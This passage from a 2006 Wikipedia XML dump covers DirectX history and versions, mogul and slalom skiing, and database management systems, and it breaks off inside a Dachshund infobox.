Prior to DirectX's existence, Microsoft had already included [[OpenGL]] on their [[Windows NT]] platform. At the time, OpenGL required &quot;high-end&quot; hardware and was limited to [[engineering]] and [[CAD]] uses.  Direct3D (introduced by Eisler, Engstrom, and St. John as an alternative to SGI's OpenGL) was intended to be a lightweight partner to the back then slower OpenGL for game use. As the power of [[graphics card]]s and the computers running them grew, OpenGL became the de-facto standard and a mainstream product. At that point a &quot;battle&quot; began between supporters of the cross-platform OpenGL and the Windows-only Direct3D, which many argued was another example of Microsoft's [[embrace, extend and extinguish]] business tactic (see [[Fahrenheit graphics API|Fahrenheit]] or [[Direct3D vs. OpenGL]]). Nevertheless, the other APIs of DirectX are often combined with OpenGL in many [[computer games]] because OpenGL does not yet in itself include all of DirectX's functionality (such as sound or joystick support). Previous attempts to address this have failed but a new draft of OpenGL aims to provide all of DirecX's functionality and device support.

DirectX was used as a basis for Microsoft's [[Xbox]] [[video game console|console]] API. The API was developed jointly between Microsoft and [[NVIDIA]], who developed the custom graphics hardware used by the console. The Xbox API is similar to DirectX version 8.1, but is non-updateable like other console technologies.

In [[2002]], Microsoft released DirectX 9 with support for the use of much longer shader programs than before with pixel and vertex shader version 2.0. Microsoft has continued to update the DirectX suite since then, introducing shader model 3.0 in DirectX 9.0c, released in August [[2004]].

As of April 2005, [[DirectShow]] was removed from DirectX and moved to the [[Microsoft Platform SDK]] instead. DirectX is, however, still required to build the DirectShow samples [http://msdn.microsoft.com/directx/sdk/readmepage/default.aspx].

===Release history===
{| class=&quot;wikitable&quot;
|- 
! DirectX version
! Logo
! Version number
! Operating system
! Date released
|-
|DirectX 1.0||[[Image:directx1.gif|center|100px]]||4.02.0095||&amp;nbsp;||September 30th, [[1995]]
|-
|DirectX 2.0 / 2.0a||&amp;nbsp;||4.03.00.1096||Windows 95 OSR2 and NT 4.0||June 5th, [[1996]]
|-
|DirectX 3.0 / 3.0a||&amp;nbsp;||4.04.0068 / 69||Windows NT 4.0 SP3 &lt;br&gt;''last supported version of DirectX for Windows NT 4.0''||September 15th, [[1996]]
|-
|DirectX 4.0||&amp;nbsp;||Never launched||&amp;nbsp;
|-
|DirectX 5.0||&amp;nbsp;||4.05.00.0155 (RC55)||''Available as a beta for Windows NT 5.0 that would install on Windows NT 4.0''||July 16th, [[1997]]
|-
|DirectX 5.0||&amp;nbsp;||4.05.01.1721 / 1998||[[Windows 98]]||???, [[1998]]
|-
|DirectX 6.0||&amp;nbsp;||4.06.00.0318 (RC3)||Windows 98 SE&lt;br&gt;''last version of [[DirectX Media]] for Windows NT 4.0''||???, [[1998]]
|-
|DirectX 6.1||&amp;nbsp;||4.06.02.0436 (RC0)||&amp;nbsp;||???, [[1999]]
|-
|DirectX 7.0||[[Image:dx7logo.gif|center|100px]]||4.07.00.0700 (RC1)||[[Windows 2000]] and ME||???, [[1999]]
|-
|DirectX 7.0a||&amp;nbsp;||4.07.00.0716 (RC1)||&amp;nbsp;||???, [[1999]]
|-
|DirectX 8.0||[[Image:dx8logo.gif|center|100px]]||4.08.00.0400 (RC14)||[[Xbox]]||???, [[2000]]
|-
|DirectX 8.1||&amp;nbsp;||4.08.01.0810&lt;BR&gt;4.08.01.0881 (RC7)||Windows XP&lt;br&gt;''Last supported version&lt;br&gt;for Windows 95''||[[November 12]], [[2001]]
|-
|DirectX 9.0||[[Image:Directx9.jpg|center|100px]]||4.09.0000.0900||Windows Server 2003||[[December 24]], [[2002]]
|-
|DirectX 9.0a||&amp;nbsp;||4.09.0000.0901||&amp;nbsp;||[[March 26]], [[2003]]
|-
|DirectX 9.0b||&amp;nbsp;||4.09.0000.0902 (RC2)||&amp;nbsp;||[[August 13]], [[2003]]
|-
|DirectX 9.0c||&amp;nbsp;||4.09.0000.0904 (RC0)||''Windows XP SP2''||[[August 9]], [[2004]]
|-
|DirectX 9.0c||&amp;nbsp;||4.09.0000.0904||[[Xbox 360]]&lt;br&gt;''Compatible with all Windows OS versions that 9.0c (RC0) was compatible with''&lt;br&gt;First version to include [[D3DX]] [[DLL]]'s||[[December 9]], [[2005]]
|-
|DirectX 9.0L (coming with [[Windows Vista]])||&amp;nbsp;||4.09.0000.0905 (?)||Adds the extended IDirect3DDevice9Ex interface with additional functions only available with WVDDM drivers for Windows Vista.
|-
|D3D 10 (coming with Windows Vista)||&amp;nbsp;||(?)||New version of Direct3D only for Windows Vista||&amp;nbsp;
|}

==Compatibility==
[[Hardware]] manufacturers have to write [[Device driver|drivers]] for and test each individual piece of hardware to make them DirectX compatible.  Many modern hardware devices only have DirectX compatible drivers (in other words, you must install DirectX before you will be able to use that hardware).  Early versions of DirectX included an up-to-date library of all of the DirectX compatible drivers currently available.  This practice was stopped however, in favor of the web-based [[Windows Update]] driver-update system, which allowed users to download only the drivers relevant to their hardware, rather than the entire library.

Some drivers only support one version of DirectX.  But DirectX is ''backward compatible'', which means that newer versions support the older versions.  For example, if one has DirectX 9 installed on one's system and runs a game that was written for DirectX 6, it should still work.  The game will use what is called the DirectX 6 &quot;interface.&quot;  Every version of DirectX must support every previous version of DirectX. This is a positive consequence of the COM model used for this API.

==The future of DirectX==
Microsoft is currently working on a large update to DirectX API. Originally called [[Windows Graphics Foundation]] and DirectX 10 but currently referred to as Direct3D 10, it will appear as part of [[Windows Vista]]. Version 10 will represent a departure from the driver model of DirectX Graphics 9.0, with the addition of a scheduler and memory virtualization system. Direct3D 10 will forego the current DirectX practice of using &quot;capability bits&quot; to indicate which features are active on the current hardware. Instead, Direct3D 10 will define a minimum standard of hardware capabilities which must be supported for a display system to be &quot;Direct3D 10 compatible&quot;. According to Microsoft, Direct3D 10 will be able to display graphics up to 8 times more quickly than DirectX Graphics 9.0c. However, Direct3D 10 will not be backward compatible with current versions of DirectX, so computer games made for Direct3D 10 will not function on any other model of DirectX. In addition, Direct3D 10 will incorporate Microsoft Shader Model 4.0.

Another tool [[Microsoft]] is working on is [[XNA (Microsoft)|XNA]] which is a framework designed to assist development of games by making it easier to integrate DirectX, [[HLSL]] and other tools in one package.

Although somewhat in its infancy, during 2002 [[Microsoft]] released a version of DirectX compatible with the 
Microsoft [[.NET Framework]], thus allowing programmers to take advantage of .NET features (such as the use of the [[C Sharp]] or [[Visual Basic]] programming languages) simultaneously with DirectX development. This API is known as &quot;[[Managed DirectX]]&quot; and performance is claimed to be 98% of that of native DirectX software.

==See also==
*[[GDI]]
*[[Graphics pipeline]]

==External links==
*[http://www.microsoft.com/directx Microsoft's DirectX site]
*[http://msdn.microsoft.com/directx Microsoft's MSDN documentation &amp; resource center for DirectX] (for programmers)
*[http://www.gamedev.net/community/forums/showfaq.asp?forum_id=10 GameDev's FAQ on DirectX]
*[http://www.microsoft.com/xna/faq.aspx FAQ on XNA]
*[http://www.oldversion.com/program.php?n=directx Old DirectX downloads at OldVersion.com]

===Programmer resources===
*[http://www.gamedev.net/reference/list.asp?categoryid=24 Gamedev.net's DirectX Articles section]
*[http://www.drunkenhyena.com/cgi-bin/directx.pl Drunken Hyena] - tutorials, code, utilities, and games
*[http://www.andypike.com/tutorials/directx8/ Andy Pike's DirectX8 Tutorials] - covering 2D, 3D, sound, music, and input
*[http://www.codesampler.com/dx9src.htm CodeSampler.com] - Code samples and tutorials for Direct3D game programming using C++ and C#
*[http://pluralsight.com/wiki/default.aspx/Craig.DirectX/Direct3DTutorialIndex.html Managed Direct3D] - Craig Andera's C# Direct3D Tutorial
*[http://web.archive.org/web/20040202203336/nexe.gamedev.net/News/News.asp NeXe] - Archive of NeXe tutorials (Direct3D 8), at archive.org
*[http://nexe.gamedev.net/directKnowledge/ NeXe] - NeXe's new site/wiki
*[http://www.pieterg.com/Tutorials/ Managed Direct3D] - Pieter Germishuys's C# Direct3D Tutorial

[[Category:Microsoft APIs]]
[[Category:Microsoft Windows]]

[[bs:DirectX]]
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[[zh:DirectX]]</text>
    </revision>
  </page>
  <page>
    <title>Mogul (skiing)</title>
    <id>8507</id>
    <revision>
      <id>41374641</id>
      <timestamp>2006-02-26T22:47:20Z</timestamp>
      <contributor>
        <username>Jasonoh</username>
        <id>809408</id>
      </contributor>
      <text xml:space="preserve">[[Image:SnowMogul.jpg|thumb|Moguls]]
'''Moguls''' are bumps in a ski slope formed when [[Skiing|skier]]s cut grooves in the snow as they execute turns. They can also be built purposely on a slope as part of a [[freestyle skiing]] event course.

Once formed, a naturally occurring mogul tends to grow, as skiers will follow similar paths around it, further deepening the surrounding grooves. Since skiing tends to be a series of linked turns, moguls form together. 

In most ski resorts certain [[piste|pistes]] are left un-pisted (un-groomed) to allow moguls to develop.  

Many [[skiers]] enjoy the challenge of attacking a mogul run.  [[Snowboarders]] typically favour them less, although more advanced or technical riders do sometimes enjoy the prospect.

==Mogul Skier==
*[[Toby Dawson]] (Bronze [[2006 Winter Olympics|2006]])
*[[Jennifer Heil]] (Gold [[2006 Winter Olympics|2006]])
*[[Dale Begg-Smith]] (Gold [[2006 Winter Olympics|2006]])
*[[Janne Lahtela]] (Gold [[2002 Winter Olympics|2002]])
*[[Jonny Moseley]] (Gold [[1998 Winter Olympics|1998]])
*[[Kari Traa]] (Gold [[2002 Winter Olympics|2002]], Silver [[2006 Winter Olympics|2006]], Bronze [[1998 Winter Olympics|1998]])

==See also== 
*[[Freestyle skiing]]
*[[Skiing|Skiing and Skiing Topics]]

[[Category:Freestyle skiing]]
[[Category:Alpine skiing]]

[[de:Buckelpiste]]
[[ja:&amp;#12514;&amp;#12540;&amp;#12464;&amp;#12523;]] 
[[nl:mogul]]
[[it:gobbe]]</text>
    </revision>
  </page>
  <page>
    <title>Slalom skiing</title>
    <id>8508</id>
    <revision>
      <id>40870027</id>
      <timestamp>2006-02-23T15:36:06Z</timestamp>
      <contributor>
        <ip>204.39.176.49</ip>
      </contributor>
      <comment>/* Innovation and Rule Changes */</comment>
      <text xml:space="preserve">'''Slalom''' (from [[Norwegian language|Norwegian]] slalåm: &quot;sla,&quot; meaning steep hillside, and &quot;låm,&quot; meaning track after skis.) is an [[alpine skiing]] discipline.  It involves skiing between poles (gates) spaced much closer together than in [[Giant Slalom skiing | Giant Slalom]], [[Super Giant Slalom skiing | Super-G ]] or [[Downhill]], thereby causing quicker and shorter turns. It is regarded as the most technically challenging of the [[Alpine skiing|alpine ski]] disciplines. 

== Definition ==
Slalom and [[Giant Slalom skiing | Giant Slalom]] make up the &quot;technical events&quot; in alpine ski racing. This category separates them from the &quot;speed events&quot; like [[Super Giant Slalom skiing | Super-G ]] and [[Downhill]].

A course is constructed by laying out a series of gates. Gates are generally formed by alternating two red poles and two blue poles. The skier must pass between the two poles forming the gate. (Strictly speaking, the tips of both skis and the skier's feet must pass between the poles.) A course will have between 55 to 75 gates for men and 40 to 60 gates for women.

For slalom the vertical offset between gates is around 9m and the horizontal offset around 2m, although these figures have changed in recent times because of significant technical developments in ski equipment which have revolutionized the sport. The gates are arranged in a variety of different configurations to challenge the competitor. The worldwide governing body, [[International Ski Federation|FIS]] (Federation Internationale de Ski) has a set of regulations detailing what configurations are allowed or mandated for an official course.

Because the offsets are relatively small in slalom, skiers take a fairly direct line and often knock the poles out of the way as they pass, which is known as cross-blocking (the right hand hits the gate on the skier's left side). In modern slalom, a variety of protective equipment is used such as shin pads, hand guards, helmets and face guards.

==History==
The rules for the modern slalom were developed by Sir [[Arnold Lunn]] in [[1922]] for the British National Ski Championships, tried by the FIS in [[1928]], and adopted for the [[1936]] Winter Olympics.  Under his rules, the gates were marked by pairs of flags rather than single ones, were arranged so that the racers had to use a variety of turn lengths to negotiate them, and scoring was on the basis of time alone, not time and style.

==Innovation and Rule Changes==
In the early 1980's, bamboo poles were replaced by hard plastic hinged poles known as &quot;rapid gates&quot; or &quot;breakaway gates.&quot; The new gates allowed skiers to take a much more direct path down a slalom course through the process of &quot;[[cross-blocking]]&quot; or &quot;as
shinning&quot; the gates. The rigid nature of bamboo gates had forced skiers to maneuver their entire body around each gate, while the hinged gates require only that the skis and boots of the skier (as the FIS rules state) go around each gate, with the body passing through or on the inside of the pole. In the early 1990's, flags were removed completely from slalom gates in international competition.

==Equipment==
With the innovation of shaped skis (or parabolic skis) around the turn of the century, equipment used for slalom in international competition changed drastically. World Cup skiers commonly skied on skis at a length of 203-207 centimeters in the 1980's and 1990's but by the [[2002 Winter Olympics]] in [[Salt Lake City]], the majority of competitors were using skis measuring 160 centimeters or shorter.

Over concern for the safety of athletes, the [[International Ski Federation|FIS]] began to set minimum ski lengths for international slalom compeition. The minimum was initially set at 155 cm for men and 150 cm for women, but was increased to 165 cm for men and 155 cm for women for the 2003-2004 season.

American [[Bode Miller]] hastened the shift to the shorter, more radical sidecut skis when he achieved unexpected success after becoming the first world class athlete to adopt the equipment in 1996. 

==See also==
*[[Sondre Norheim]]
*[[Skiing|Skiing and Skiing Topics]]
*[[Downhill]]
*[[Super Giant Slalom skiing | Super-'''G''' ]]
*[[Giant Slalom]]
*[[Alpine skiing combined]]

[[Category:Alpine skiing]]

&lt;!-- interwiki --&gt;

[[de:Slalom]]
[[hr:Slalom]]
[[it:Slalom speciale]]
[[ja:スラローム (スキー)]]
[[nl:Slalom (ski)]]
[[no:Slalåm]]
[[fi:Pujottelu]]
[[sv:Slalom]]</text>
    </revision>
  </page>
  <page>
    <title>Druidism</title>
    <id>8510</id>
    <revision>
      <id>15906499</id>
      <timestamp>2005-06-16T23:36:10Z</timestamp>
      <contributor>
        <username>Redwolf24</username>
        <id>243237</id>
      </contributor>
      <minor />
      <comment>Bad Link</comment>
      <text xml:space="preserve">#REDIRECT [[Druid]]</text>
    </revision>
  </page>
  <page>
    <title>Dedham</title>
    <id>8512</id>
    <revision>
      <id>30262484</id>
      <timestamp>2005-12-05T21:46:14Z</timestamp>
      <contributor>
        <username>Morwen</username>
        <id>17287</id>
      </contributor>
      <comment>turn redirect into dab page</comment>
      <text xml:space="preserve">'''Dedham''' could be

*[[Dedham, Essex]]
*[[Dedham, Massachusetts]]

{{geodis}}</text>
    </revision>
  </page>
  <page>
    <title>Database management system</title>
    <id>8513</id>
    <revision>
      <id>40058079</id>
      <timestamp>2006-02-17T20:53:58Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
        <id>241538</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Key]] to [[Primary key]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{cleanup-date|October 2005}}

A '''database management system''' ('''DBMS''') is a [[computer program]] (or more typically, a suite of them) designed to manage a [[database]] (a large set of structured [[data]]), and run operations on the data requested by numerous clients. Typical examples of DBMS use include [[accounting]], [[human resources]] and customer support systems.  Originally found only in large organizations with the [[computer]] hardware needed to support large data sets, DBMSs have more recently emerged as a fairly standard part of any company [[back office]].

DBMS's are found at the heart of most [[database application]]s.  Sometimes DBMSs are built around a private [[computer multitasking|multitasking]] [[Kernel (computers)|kernel]] with built-in [[Computer network|networking]] support although nowadays these functions are left to the [[operating system]].

==Terminology== &lt;!-- needs merging with the above text --&gt;

A '''database management system''' ('''DBMS''') is a system, usually automated and computerized, for the management of any collection of compatible, and ideally [[Database normalization|normalized]], data.  

A '''[[database application]]''' is [[computer software]] written to manage the data of a particular application or problem.

==History==

Databases have been in use since the earliest days of electronic computing, but the vast majority of these were custom programs written to access custom databases. Unlike modern systems which can be applied to widely different databases and needs, these systems were tightly linked to the database in order to gain speed at the expense of flexibility.

===Navigational DBMS===
As computers grew in capability, this tradeoff became increasingly unnecessary and a number of general-purpose database systems emerged; by the mid-[[1960s]] there were a number of such systems in commercial use. Interest in a standard began to grow, and [[Charles Bachman]], author of one such product, '''[[Integrated Data Store|IDS]]''', founded the ''[[Database Task Group]]'' within [[CODASYL]], the group responsible for the creation and standardization of [[COBOL]]. In [[1971]] they delivered their standard, which generally became known as the '''[[Codasyl approach]]''', and soon there were a number of commercial products based on it available.

The Codasyl approach was based on the &quot;manual&quot; navigation of a linked dataset which was formed into a large network. When the database was first opened, the program was handed back a link to the first [[database record|record]] in the database, which also contained [[pointer]]s to other pieces of data. To find any particular record the programmer had to step through these pointers one at a time until the required record was returned. Simple queries like &quot;find all the people in Sweden&quot; required the program to walk the entire data set and collect the matching results. There was, essentially, no concept of &quot;find&quot; or &quot;search&quot;. This might sound like a serious limitation today, but in an era when the data was most often stored on [[magnetic tape]] such operations were too expensive to contemplate anyway.

[[International Business Machines|IBM]] also had their own DBMS system in 1968, known as '''IMS'''. [[Information Management System|IMS]] was a development of software written for the [[Project Apollo|Apollo program]] on the [[System/360]]. IMS was generally similar in concept to Codasyl, but used a strict hierarchy for its model of data navigation instead of Codasyl's network model.

Both concepts later became known as '''[[navigational database]]s''' due to the way data was accessed, and Bachman's 1973 [[Turing Award]] award presentation was ''The Programmer as Navigator''. IMS is classified as a [[Hierarchical model|hierarchical database]].  IDS and [[IDMS]] (both CODASYL databases) as well as [[CINCOM]]s [[TOTAL (database)|TOTAL]] database are classified as [[network model|network databases]].

===[[Relational DBMS]]===
[[Edgar Codd]] worked at [[International Business Machines |IBM]] in [[San Jose, California]], in one of their offshoot offices that was primarily involved in the development of [[hard disk]] systems.  He was unhappy with the navigational model of the Codasyl approach, notably the lack of a &quot;search&quot; facility which was becoming increasingly useful when the database was stored on disk instead of tape. In 1970 he wrote a number of papers that outlined a new approach to database construction that eventually culminated in the groundbreaking ''A Relational Model of Data for Large Shared Data Banks''.

In this paper he described a new system for storing and working with large databases.  Instead of records being stored in some sort of [[linked list]] of free-form records as in Codasyl, Codd's idea was to use a &quot;[[Table (database)|table]]&quot; of fixed-length records. A linked-list system would be very inefficient when storing &quot;sparse&quot; databases where some of the data for any one record could be left empty. The relational model solved this by splitting the data into a series of normalized tables, with optional elements being moved out of the main table to where they would take up room only if needed.

[[Image:Relational_key.png|thumb|300px|In the relational model, related records are linked together with a &quot;key&quot;.]]

For instance, a common use of a database system is to track information about users, their name, login information, various addresses and phone numbers. In the navigational approach all of these data would be placed in a single record, and unused items would simply not be placed in the database. In the relational approach, the data would be ''normalized'' into a user table, an address table and a phone number table (for instance).  Records would be created in these optional tables only if the address or phone numbers were actually provided.

Linking the information back together is the key to this system. In the relational model some bit of information was used as a &quot;[[Primary key|key]]&quot;, uniquely defining a particular record. When information was being collected about a user, information stored in the optional (or ''related'') tables would be found by searching for this key. For instance, if the login name of a user is unique, addresses and phone numbers for that user would be recorded with the login name as its key.  This &quot;re-linking&quot; of related data back into a single [[collection]] is something that traditional computer languages are not designed for. 

Just as the navigational approach would require programs to loop in order to collect records, the relational approach would require loops to collect information about any one record. Codd's solution to the necessary looping was a set-oriented language, a suggestion that would later spawn the ubiquitous [[SQL]].  Using a branch of mathematics known as ''[[tuple calculus]]'', he demonstrated that such a system could support all the operations of normal databases (inserting, updating etc.) as well as providing a simple system for finding and returning ''sets'' of data in a single operation.

Codd's paper was picked up by two people at Berkeley, [[Eugene Wong]] and [[Michael Stonebraker]]. They started a project known as [[INGRES]] using funding that had already been allocated for a geographical database project, using student programmers to produce code. Beginning in 1973, INGRES delivered its first test products which were generally ready for widespread use in 1979. During this time a number of people had moved &quot;through&quot; the group &amp;mdash; perhaps as many as 30 people worked on the project, about five at a time. INGRES was similar to [[System R]] in a number of ways, including the use of a &quot;language&quot; for data access, known as [[QUEL]] &amp;mdash; QUEL was in fact relational, having been based on Codd's own Alpha language, but has since been corrupted to follow SQL, thus violating much the same concepts of the relational model as SQL itself.

IBM itself did only one test implementation of the relational model, [[PRTV]], and a production one, [[Business System 12]], both now discontinued.  [[Honeywell]] did [[MRDS]] for [[Multics]], and now there are two new implementations: [[Alphora Dataphor]] and [[Rel]].  All other DBMS implementations usually called '''relational''' are actually SQL DBMSs.

===SQL DBMS===
IBM started working on a prototype system loosely based on Codd's concepts as '''[[System R]]''' in the early 1970s &amp;mdash; unfortunately System R was conceived as a way of proving Codd's ideas unimplementable, and thus the project was delivered to a group of programmers who weren't under Codd's supervision, never understood his ideas fully and ended up violating several fundamentals of the relational model. The first &quot;quickie&quot; version was ready in [[1974]]/5, and work then started on multi-table systems in which the data could be broken down so that all of the data for a record (much of which is often optional) didn't have to be stored in a single large &quot;chunk&quot;. Subsequent multi-user versions were tested by customers in [[1978]] and 79, by which time a standardized [[computer language]], [[SQL]], had been added. Codd's ideas were establishing themselves as both workable and superior to Codasyl, pushing IBM to develop a true production version of System R, known as '''SQL/DS''', and, later, '''Database 2''' ([[DB2]]).

Many of the people involved with INGRES became convinced of the future commercial success of such systems, and formed their own companies to commercialize the work but with an SQL interface. [[Sybase]], [[Informix]], [[NonStop SQL]] and eventually [[Ingres]] itself were all being sold as offshoots to the original INGRES product in the 1980s. Even [[Microsoft SQL Server]] is actually a re-built version of Sybase, and thus, INGRES. Only [[Larry Ellison]]'s [[Oracle Corporation|Oracle]] started from a different chain, based on IBM's papers on System R by beating them to market when the first version was released in 1978.

Stonebraker went on to apply the lessons from INGRES to develop a new database, Postgres, now known as [[PostgreSQL]].  PostgreSQL is now one of the most widely used databases in the world, primarily for global mission critical applications (the .org and .info domain name registries use it as their primary data store, as do many large companies and financial institutions).

In [[Sweden]] Codd's paper was also read, [[Mimer SQL]] was developed from the mid-70s at [[Uppsala University]], and in 1984 this project was consolidated into an independent enterprise. In the early 1980s Mimer introduced transaction handling for high robustness in applications, an idea that was subsequently implemented on most other DBMSs.

===[[Object-oriented DBMS]]===
Multidimensional DBMS did have one lasting impact on the market: they led directly to the development of [[object database]] systems. Based on the same general structure and concepts as the multidimensional systems, these new systems allowed the user to store objects directly in the database. That is, the programming constructs being used in the [[object oriented]] (OO) programming world could be used directly in the database, instead of first being converted to some other format.

This could happen because of the multidimensional system's concepts of [[ownership]]. In an OO program a particular object will typically contain others; for example, the object representing Bob may contain a reference to a separate object referring to Bob's home address. Adding support for various OO languages and [[polymorphism (computer science)|polymorphism]] re-created the multidimensional systems as object databases, which continue to serve a niche today.

==Description==
A DBMS can be an extremely complex set of software programs that controls the [[organization]], [[Computer storage|storage]] and [[Data retrieval|retrieval]] of data (fields, records and files) in a [[database]]&lt;!--this sentence needs to be rewritten or even deleted--&gt;. The basic functionalities that a DBMS must provide are:
# A [[Data modeling|modeling]] [[Formal language|language]] to define the [[schema]] of each [[database]] hosted in the DBMS, according to the DBMS [[data model]].
#*The three most common organizations are the [[hierarchical model|hierarchical]], [[network model|network]] and [[relational model|relational]] models. A database management system may provide one, two or all three methods. Inverted lists and other methods are also used. The most suitable structure depends on the application and on the transaction rate and the number of inquiries that will be made.&lt;BR&gt;The dominant model in use today is the ad hoc one embedded in SQL, a corruption of the relational model by violating several of its fundamental principles. Many DBMSs also support the [[Open Database Connectivity]] [[application programming interface|API]] that supports a standard way for [[programmer]]s to access the DBMS.
      &lt;!--  --&gt;
# [[Data structure]]s optimized to deal with big amounts of data recorded to a [[Digital permanence|permanent]] [[data storage device]], which are very slow [[Computer storage|compared]] to the [[primary storage]] (volatile main memory).
      &lt;!--  --&gt;
# A [[database query language]] and report writer to allow users to interactively interrogate the database, analyse its data and update it according to the [[Privilege (Computing)|users privileges]] on data.
#*It also controls the [[security]] of the database.
#*[[Data security]] prevents unauthorised users from viewing or updating the database. Using passwords, users are allowed access to the entire database or subsets of it called ''subschemas'' (pronounced &quot;sub-skeema&quot;). For example, an employee database can contain all the data about an individual employee, but one group of users may be authorized to view only payroll data, while others are allowed access to only work history and medical data.
#*If the DBMS provides a way to interactively enter and update the database, as well as interrogate it, this capability allows for managing personal databases. However, it may not leave an audit trail of actions or provide the kinds of controls necessary in a multi-user organisation. These controls are only available when a set of application programs are customised for each data entry and updating function.
      &lt;!--  --&gt;
# A [[Database transaction|transaction]] mechanism, that ideally would guarantee the [[ACID]] properties, in order to ensure [[data integrity]] despite of [[Concurrency (computer science)|concurrent user access]] ([[concurrency control]]) and faults ([[fault tolerance]]).
#*It also controls the [[integrity]] of the database.
#*The DBMS can maintain the integrity of the database by not allowing more than one user to update the same record at the same time. The DBMS can keep duplicate records out of the database; for example, no two customers with the same customer numbers (key fields) can be entered into the database. See [[ACID]] properties for more information (Reduncdancy avoidance).

The DBMS accepts requests for data from the application program and instructs the [[operating system]] to transfer the appropriate data.

When a DBMS is used, [[information system]]s can be changed much more easily as the organization's information requirements change. New categories of data can be added to the database without disruption to the existing system.
&lt;!--
A [[management information system|business information system]] is made up of subjects (customers, employees, vendors, etc.) and activities (orders, payments, purchases, etc.). [[Database design]] is the process of deciding how to organize these data into [[database record|record]] types and how the record types will relate to each other. The DBMS should mirror the organization's data structure and process transactions efficiently.

this is just related to databases and databases design, not to DBMS
--&gt;

Organizations may use one kind of DBMS for daily transaction processing and then move the detail onto another computer that uses another DBMS better suited for random inquiries and analysis. Overall systems design decisions are performed by data administrators and systems analysts. Detailed database design is performed by database administrators.

[[Database server]]s are specially designed computers that hold the actual databases and run only the DBMS and related software. Database servers are usually [[multiprocessor]] computers, with [[redundant array of independent disks|RAID]] disk arrays used for stable storage. Connected to one or more servers via a high-speed channel, hardware [[database accelerator]]s are also used in large volume transaction processing environments.

==See also==
*[[Data warehouse]]
*[[Directory service]]
*[[Distributed Database Management System]]
*[[Navigational database management system]]
*[[Hierarchical database management system]]
*[[Network database management system]]
*[[Object database|Object-oriented database management system]] ([[OODBMS]])
*[[Relational database management system]] ([[RDBMS]])
*[[Object-relational database management system]] ([[ORDBMS]])
* [[SQL]] is a language for database management. 


{{FOLDOC}}

[[Category:Databases]]
[[Category:Database management systems]]

[[cs:Systém řízení báze dat]]
[[de:Datenbankverwaltungssystem]]
[[es:Sistemas Gestores de Bases de Datos]]
[[fi:Tietokannan hallintajärjestelmä]]
[[fr:Système de gestion de base de données]]
[[hu:Adatb&amp;aacute;zis-kezel&amp;#337;]]
[[it:Database management system]]
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[[lt:Duomen&amp;#371; bazi&amp;#371; valdymo sistema]]
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[[sv:DBMS]]
[[th:ระบบจัดการฐานข้อมูล]]
[[vi:H%E1%BB%87 qu%E1%BA%A3n tr%E1%BB%8B c%C6%A1 s%E1%BB%9F d%E1%BB%AF li%E1%BB%87u]]</text>
    </revision>
  </page>
  <page>
    <title>DBMS</title>
    <id>8514</id>
    <revision>
      <id>15906502</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Database management system]]
</text>
    </revision>
  </page>
  <page>
    <title>Dachshund</title>
    <id>8518</id>
    <revision>
      <id>41678456</id>
      <timestamp>2006-03-01T00:32:04Z</timestamp>
      <contributor>
        <ip>69.142.48.135</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Dogbreed 
&lt;!-- Begin Infobox Dogbreed.  The text of the article should go AFTER this section. See: --&gt;
&lt;!-- http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Dog_breeds#Infobox_Dogbreed_template --&gt;
&lt;!-- for full explanation of the syntax used in this template. --&gt;
|name = Dachshund
|image = Std Dachshund 600.jpg
|image_caption = Long-haired standard dachshund
|nickname = Doxie 
|country = [[Germany]]
|fcigroup = 4 
|fcisection = 1 
|fcinum = 148
|fcistd = http://www.google.com/search?q=cache:g3iEOGxB_EAJ:www.fci.be/uploaded_files/148gb99.doc+site:www.fci.be+%22148+/+13.+07.+2001%22&amp;hl=en&amp;ie=UTF-8
|akcgroup = Hound
|akcstd = http://www.akc.org/breeds/recbreeds/dach.cfm
|ankcgroup = Group 4 - (Hounds)
|ankcstd = http://www.ankc.aust.com/dachlng.html long-haired]&lt;br /&gt;[http://www.ankc.aust.com/dachsmth.html smooth-haired]&lt;br /&gt;[http://www.ankc.aust.com/dachwire.html wire-haired]&lt;br /&gt;[http://www.ankc.aust.com/dachmlh.html miniature long-haired]&lt;br /&gt;[http://www.ankc.aust.com/dachmsh.html miniature smooth-haired]&lt;br /&gt;[http://www.ankc.aust.com/dachmwh.html miniature wire-haired]
|ckcgroup = Group 2 - (Hounds)
|ckcstd = http://www.geocities.com/prairiedachshundca/standard.html
|kcukgroup = Hound
|kcukstd= http://www.the-kennel-club.org.uk/discoverdogs/hound/h946.htm long-haired]&lt;br /&gt;[http://www.the-kennel-club.org.uk/discoverdogs/hound/h774.htm smooth-haired]&lt;br /&gt;[http://www.the-kennel-club.org.uk/discoverdogs/hound/h941.htm wire-haired]&lt;br /&gt;[http://www.the-kennel-club.org.uk/discoverdogs/hound/h945.htm miniature long-haired]&lt;br /&gt;[http://www.the-kennel-club.org.uk/discoverdogs/hound/h943.htm miniature smooth-haired]&lt;br /&gt;[http://www.the-kennel-club.org.uk/discoverdogs/hound/h942.htm miniature wire-haired]
|nzkcgroup = Hounds
|nzkcstd = http://www.nzkc.org.nz/br428.html long-haired]&lt;br /&gt;[http://www.nzkc.org.nz/br432.html smooth-haired]&lt;br /&gt;[http://www.nzkc.org.nz/br436.html wire-haired]&lt;br /&gt;[http://www.nzkc.org.nz/br440.html miniature long-haired]&lt;br /&gt;[http://www.nzkc.org.nz/br444.html miniature smooth-haired]&lt;br /&gt;[http://www.nzkc.org.nz/br448.html miniature wire-haired]
|ukcgroup = Scenthound Breeds
|ukcstd = http://www.ukcdogs.com/breeds/scenthounds/dachshund.std.shtml
|note= ...
&lt;!-- End Infobox Dogbreed info. Article Begins Here --&gt;
|}}  
